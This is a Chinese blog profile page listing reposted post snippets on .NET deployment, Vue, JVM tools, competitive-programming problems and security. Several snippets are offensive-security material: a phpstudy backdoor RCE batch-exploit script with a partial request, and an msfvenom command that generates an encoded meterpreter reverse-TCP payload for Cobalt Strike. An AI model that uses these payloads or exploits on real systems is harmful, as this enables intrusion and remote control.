自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(4551)
  • 收藏
  • 关注

转载 .Net Core部署在Linux服务器:Nginx反向代理+Supervisor进程守护

前言:.Net Core程序(网站)可以部署在windows IIS ,也可以部署在Linux系统(更加推荐)本文部署,基于.net core 2.1,服务器CentOS 7, 需要安装的服务有2个:Nginx,SuperVisor(进程守护)命令预览:Linux: 重启:rebootNginx: 强杀: killall -9 nginx    测试配置...

2019-10-04 12:22:00 616

转载 Windows 和 Linux 下安装MySql

一、windows下安装mysql1.下载mysql包:https://dev.mysql.com/downloads/mysql/2.解压到特定的地方即可(当作是已安装的文件使用,我这样使用免安装的方法)如我的习惯:D:\software是用用来做软件安装的路径。把mysql-8.0.17-winx64解压到这里(免安装):3.配置环境变量(我...

2019-10-01 14:03:00 638

转载 vue的keep-alive实现框架页签功能

在web页面实现类似于浏览器的页签功能,使用vue的keep-alive组件做缓存基本实现如下:1.将需要做缓存的视图用keep-alive包裹<keep-alive :include="keepAliveComponents"> <router-view></router-view> ...

2019-09-26 17:05:00 634

转载 新功能引导实现

新功能引导实现的思路:1.类似于intro.js的实现,通过html元素id或者其它属性找到该dom节点,将其z-index调至较高层级;如果新功能需要可点击操作,则使用该种方法2.使用css的outline属性.guide { outline: 9999px solid rgba(0,0,0,.75);}  以上方法在火狐浏览器会有兼容性问...

2019-09-26 16:39:00 425

转载 phpstudy后门rce批量利用脚本

写两个一个批量检测的 一个交互式shell的暂时py 图形化的qt写出来..有点问题后门包 :GET / HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0Accept:...

2019-09-23 23:23:00 869

转载 【JZOJ5431】序列操作

description一开始有n个非负整数hi,接下来会进行m次操作,第i次操作给出一个数c[i],要求你选出c[i]个大于零的数并将它们减去1。问最多可以进行多少轮操作后无法操作(即没有c[i]个大于零的数)analysis明显每次都减去最大的那几个,减不了了就\(GG\)那么先把\(a\)排序了,考虑怎么一次次减掉\(a\)最前面的几个但是直接减最前面的次序会乱掉,比...

2019-09-23 22:43:00 103

转载 Comparator中返回0导致数据丢失的大坑

  今天对一列数据进行排序,因为存储的是Map结构,要实现排序,马上就想到了TreeMap,于是查到API,这样新建TreeMap就能实现添加的时候就自动排序。1 new TreeMap<>(new Comparator<Integer>() { 2 @Override3 public int compare(...

2019-09-23 10:41:00 387

转载 【JZOJ4905】【BZOJ4720】【luoguP1850】换教室

description对于刚上大学的牛牛来说,他面临的第一个问题是如何根据实际情况申请合适的课程。在可以选择的课程中,有2n节课程安排在n个时间段上。在第i(1≤i≤n)个时间段上,两节内容相同的课程同时在不同的地点进行,其中,牛牛预先被安排在教室ci上课,而另一节课程在教室di进行。在不提交任何申请的情况下,学生们需要按时间段的顺序依次完成所有的n节安排好的课程。如果学生想更换第i节...

2019-09-22 08:24:00 98

转载 2019关于phpstudy软件后门简单分析

2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件 说是官网下的就没有后门20号出现的新闻 今天phpstudy官网21号又更新一波 不太好说这是什么操作哦 此地无银三百两?很开心的说 我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件) 用cha...

2019-09-21 12:34:00 177

转载 参数校验注解

1. 参数校验常用注解 注解验证的数据类型备注 Null 任意类型参数值必须是 NullNotNull 任意类型参数值必须不是 NullNotBlank 只能作用于字符串字符串不能为 null,而且字符串长度必须大于...

2019-09-20 14:33:00 1753

转载 Markdown 基本语法

```Text一级标题二级标题三级标题四级标题五级标题一级标题二级标题三级标题四级标题五级标题转载于:https://www.cnblogs.com/virgosnail/p/11555776.html...

2019-09-20 11:11:00 83

转载 [转]npm安装教程

原文地址:https://www.cnblogs.com/lgx5/p/10732016.html一、使用之前,我们先来掌握3个东西是用来干什么的。npm: Nodejs下的包管理器。webpack: 它主要的用途是通过CommonJS的语法把所有浏览器端需要发布的静态资源做相应的准备,比如资源的合并和打包。vue-cli: 用户生成Vue工程模板。(帮你快速开始一个vu...

2019-09-20 09:23:00 284

转载 理解指针那些事

复习C/C++又到指针这里,想起大一那时候第一次学C这个简单的问题弄了好久都没理解,也是笨关于指针在我第一次学的时候觉得绕来绕去以至于就没理解到就混了过去,网上很多文章讲指针都能讲错也是服了最近很想说的话: 很多以前学过的基础的东西还是有的模棱两可,学了一次不叫会了,写了博客也不叫会了,得熟记于心能运用才叫会。目录: ...

2019-09-19 21:32:00 160

转载 JVM 监控工具——jconsole

【官方文档】:Using JConsole1. 简介  JConsole是一个内置Java性能分析器,可以从命令行或在GUI shell中运行。您可以轻松地使用JConsole(或者,它更高端的“近亲” VisualVM)来监控Java应用程序性能和跟踪Java中的代码。  JConsole 工具以 java.lang.management API 为基础进行构建。JCons...

2019-09-19 20:25:00 135

转载 【JZOJ6360】最大菱形和(rhombus)

descriptionanalysis容易想到把原矩阵翻转\(45°\),然后每个数再用\(0\)隔开然后就变成了求最大子正方形,求完二维前缀和之后就很好做了code#pragma GCC optimize("O3")#pragma G++ optimize("O3")#include<stdio.h>#include<string.h>...

2019-09-19 17:18:00 197

转载 Zookeeper 简介

1.基本介绍1.1.基本概念  Zookeeper 分布式服务框架是 Apache Hadoop 的一个子项目,它主要是用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步服务、集群管理、分布式应用配置项的管理等。  它的目标就是封装好复杂易出错的关键服务,将简单易用的接口和性能高效、功能稳定的系统提供给用户。1.2.设计目标  Z...

2019-09-18 21:58:00 85

转载 理解MVVM在react、vue中的使用

理解MVVM在react、vue中的使用一:什么是MVC、为什么不用MVC1:MVC的含义:M(modal):是应用程序中处理数据逻辑的部分。V (view) :是应用程序中数据显示的部分。C(controller):是应用程序中处理用户交互的地方(Controller是MVC中的数据和视图的协调者,也就是在Controller里面把Model的数据赋值给Vie...

2019-09-18 15:36:00 393

转载 【JZOJ6357】小ω的图(graph)

descriptionanalysis拆位从高位到低位贪心对于当前位,如果把所有当前位为\(1\)的边塞入,\(1\)和\(n\)连通,则该位必须为\(1\)这个是因为高位的\(1\)比所有低位的\(1\)都要优,用并查集维护连通性对固定下的位,继续向下贪心,找低位中满足所有条件的\(1\)位即可code#pragma GCC optimize("O3")#pr...

2019-09-17 17:54:00 125

转载 【JZOJ6350】考试(test)

descriptionanalysis对于\(n=0\)的点,直接模拟就好了状压\(DP\),设\(f[i][j][S]\)表示到第\(i\)题、连续\(GG\)了\(j\)题、喝的饮料集合为\(S\)的最大答案由于一题可以喝多瓶饮料所以转移需要枚举\(S\)的子集\(SS\)来转移然后转移比较显然但是细节恶心我不会告诉你我一共打了三个DP然后调出来其中一个才切的...

2019-09-17 17:47:00 97

转载 【JZOJ1667】【BZOJ1801】【luoguP2051】中国象棋

description在N行M列的棋盘上,放若干个炮可以是0个,使得没有任何一个炮可以攻击另一个炮。请问有多少种放置方法?中国象棋中炮的行走方式大家应该很清楚吧.analysis\(DP\),容易知道每行至多有两个炮,否则会互相打到设\(f[i][j][k]\)表示到放到第\(i\)行,有\(j\)列放了一个炮,\(k\)列放了两个炮的方案数该行不放炮,则直接继承上一行的答...

2019-09-17 17:42:00 90

转载 电脑主板分类

一、芯片组  主板芯片组主要有两大阵营Intel和AMD,Intel和AMD处理器所用的主板是不同的,因此在购买时,一定要根据处理器来选择主板,他们的判别方法很简单,通过外观就行,Intel主板CPU插槽有金属阵脚,而AMD主板则是一堆小孔。1,Intel  Intel主板芯片组有四个等级,X/Z/B/H。  X字母开头:最高级,用来搭配高端CPU,一般CPU型号后缀有“...

2019-09-17 17:40:00 1814

转载 代码审计-Thinkphp3框架EXP表达式SQL注入

最近看java框架源码也是看的有点头疼,好多还要复习熟悉还有好多事没做...慢慢熬。网上好像还没有特别详细的分析我来误人子弟吧。0x01tp3中的exp表达式查询表达式的使用格式:$map['字段名'] = array('表达式','查询条件');表达式不分大小写,支持的查询表达式有下面几种,分别表示的含义是:...

2019-09-16 23:27:00 191

转载 T2 AC自动机

T2:AC自动机 (ac.cpp)题目背景YZD在每天学习20小时的勤奋研究下,终于开发出了AC自动机!但是,这台AC自动机有一些bug,比如两个部件之间经常会出一些莫名其妙的问题,所以他想要随时知道被损坏的两个部件之间有多少根电线.题目描述AC自动机的结构是一个有着n个节点,2n - 2条边的有向图,前n-1条边,从部件1连向部件2-n,形成了一颗生成树。后n-1条边,从部...

2019-09-16 17:01:00 97

转载 [转]说说JSON和JSONP,也许你会豁然开朗,含jQuery用例

原文地址:https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html前言:说到AJAX就会不可避免的面临两个问题,第一个是AJAX以何种格式来交换数据?第二个是跨域的需求如何解决?这两个问题目前都有不同的解决方案,比如数据可以用自定义字符串或者用XML来描述,...

2019-09-16 14:21:00 113

转载 JVM 监控工具——jstatd

1. 简介   jstatd是一个rmi的server应用,用于监控jvm的创建和结束,并且提供接口让监控工具(如visualvm)可以远程连接到本机的jvms 。  注意是jvms,就是说运行jstatd命令后可以用监控工具监控本用户(运行jstatd命令的用户)所有已经启动的java程序。1.1 policy文件  创建一个扩展名为policy的文件,比如:jstat...

2019-09-16 10:08:00 100

转载 Dudu's maze (DFS染色|并查集)

To seek candies for Maomao, Dudu comes to a maze. There arennrooms numbered from11tonnandmmundirected roads.There are two kinds of rooms in the maze -- candy room and monster room. The...

2019-09-15 11:47:00 110

转载 转载:数据库一致性的理解

ACID:  - Atomicity: the transaction is either completely or not at all. For this, the beginning of the transaction is marked with the BEGIN command, and the end is either COMMIT (commit cha...

2019-09-15 02:30:00 303

转载 cobalt strike笔记-CS与MSF,Armitage,Empire互转shell

0x01 Metasploit派生shell给Cobaltstrike生成木马:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.5.4 LPORT=4444 -f exe > test.exe[-] No platform wa...

2019-09-14 18:27:00 299

转载 【JZOJ6353】给(ca)

descriptionanalysis很妙的\(DP\)设\(f[i][j]\)表示已经放了\(i\)个叶子节点、根到当前节点走了\(j\)步向左的方案数考虑调整\(DP\)方式,钦定伸出左儿子可以直接转移,伸出右儿子必须由没有右儿子的父亲转移如果伸出左儿子,叶子节点数不变,而步数\(+1\),所以\(f[i][j+1]+=f[i][j]\)如果伸出右儿子,叶子节点数\...

2019-09-13 17:04:00 107

转载 【JZOJ6354】最短路(tiring)

descriptionanalysis显然边权有变化规律\(x,{1\over{x-1}},{x-1\over x},x,...\)于是把一个点拆成三个点,分别表示步数到除\(3\)余\(0,1,2\)的最小值拆边的话应该也可以,然后跑最短路我™这辈子都不会再想打SBFAcode#pragma GCC optimize("O3")#pragma G++ opti...

2019-09-13 14:06:00 174

转载 JVM 监控工具——jstack

【参考文章】:jstack 命令使用经验总结1. 简介  jstack主要用于生成java虚拟机当前时刻的线程快照。  线程快照是当前java虚拟机内每一条线程正在执行的方法堆栈的集合,  主要目的是定位线程出现长时间停顿的原因,如线程间死锁、死循环、请求外部资源导致的长时间等待等2. 基本用法  2.1 jstack <pid>  输出当...

2019-09-12 18:43:00 127

转载 [转]Java 之 Serializable 序列化和反序列化的概念,作用的通俗易懂的解释

原文地址:https://blog.csdn.net/qq_27093465/article/details/78544505遇到这个 Java Serializable 序列化这个接口,我们可能会有如下的问题:1、什么叫序列化和反序列化2、作用。为啥要实现这个 Serializable 接口,也就是为啥要序列化3、serialVersionUID 这个的值到底是在怎么设...

2019-09-12 15:55:00 105

转载 JVM 监控工具——jps

【参考文章】:【Linux运维入门】Jstatd方式远程监控Linux下 JVM运行情况1. jps简介  显示系统内所有的HotSpot虚拟机进程。  且只能查看当前用户下的Java进程信息;2. 基本用法  2.1 jps  jps 命令等同于 jps -V  输出Java进程的PID和主类名信息;  示例 :    2.2 jps -l...

2019-09-12 15:26:00 127

转载 TCP 连接状态

LISTEN:侦听来自远方的TCP端口的连接请求SYN-SENT:再发送连接请求后等待匹配的连接请求SYN-RECEIVED:再收到和发送一个连接请求后等待对方对连接请求的确认ESTABLISHED:代表一个打开的连接FIN-WAIT-1:等待远程TCP连接中断请求,或先前的连接中断请求的确认FIN-WAIT-2:从远程TCP等待连接中断请求CLOSE-WAI...

2019-09-11 09:59:00 84

转载 [转]Vue-Devtools安装配置教程(献给伸手党)

原文地址:https://blog.csdn.net/weixin_38654336/article/details/80790698可以先看视频教程:链接最简便的方法是用FQ来通过google应用商店进行安装,但是大多数人还是处在非FQ的状态尝试过安装Node的方法来安装,但是极其不建议用这个方法安装,非常麻烦,而且必须要有node的基础,非常不接地气下面来一个最简便的方法(送给伸...

2019-09-11 09:05:00 109

转载 【JZOJ6346】ZYB和售货机

descriptionanalysis其实这个连出来的东西叫基环内向树先考虑很多森林的情况,也就是树根连回自己明显树根物品是可以被取完的,那么买树根的价钱要是儿子中价钱最小的那个或者把那个叫成收益,也就是选择所有儿子中收益最大的儿子既然树根可以取完,同理所有非叶子节点也可以被取完所以树(森林)的情况就可以\(O(n)\)遍历一遍得到考虑在基环树上删去一条边,使得图变...

2019-09-10 16:58:00 114

转载 【JZOJ6345】ZYB建围墙

descriptionanalysis打表找规律,自认为样例给的提示很明显容易想到最优方案是让家庭尽量先围成一个正六边形,剩下的在最外层绕一个圈手推一波可以知道,如果正六边形有\(n\)层,剩下来\(n-1\)答案一样其实每隔\(n-1,n,n,n,n,n+1\)答案都一样,中间间隔\(1\)然后模拟node#pragma GCC optimize("O3")...

2019-09-10 16:45:00 102

转载 SimpleDateFormat线程不安全

1,问题引发 1 @Test 2 public void testParse() { 3 ExecutorService executorService = Executors.newCachedThreadPool(); 4 List<String> dateStrList = Lists.newArrayList( 5 ...

2019-09-10 09:31:00 113

转载 转载:java基础-String不可变的好处

由于在Effect JAVA一书中看到第51条:当心字符串连接的性能,衍生出这个问题,由此转载一、java内部String类的实现:java 8:1 public final class String2 implements java.io.Serializable, Comparable<String>, CharSequence {3...

2019-09-08 21:52:00 114

转载 渗透系统虚拟机----win7(渗透工具包)

今天把自己用的win7渗透虚拟机和渗透工具脚本整合到一起备份传网盘了:D:\渗透工具包>dir 驱动器 D 中的卷是 DATA 卷的序列号是 0D74-084B D:\渗透工具包 的目录2019/09/08 17:30 <DIR> .2019/09/08 17:30 ...

2019-09-08 17:28:00 2183

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除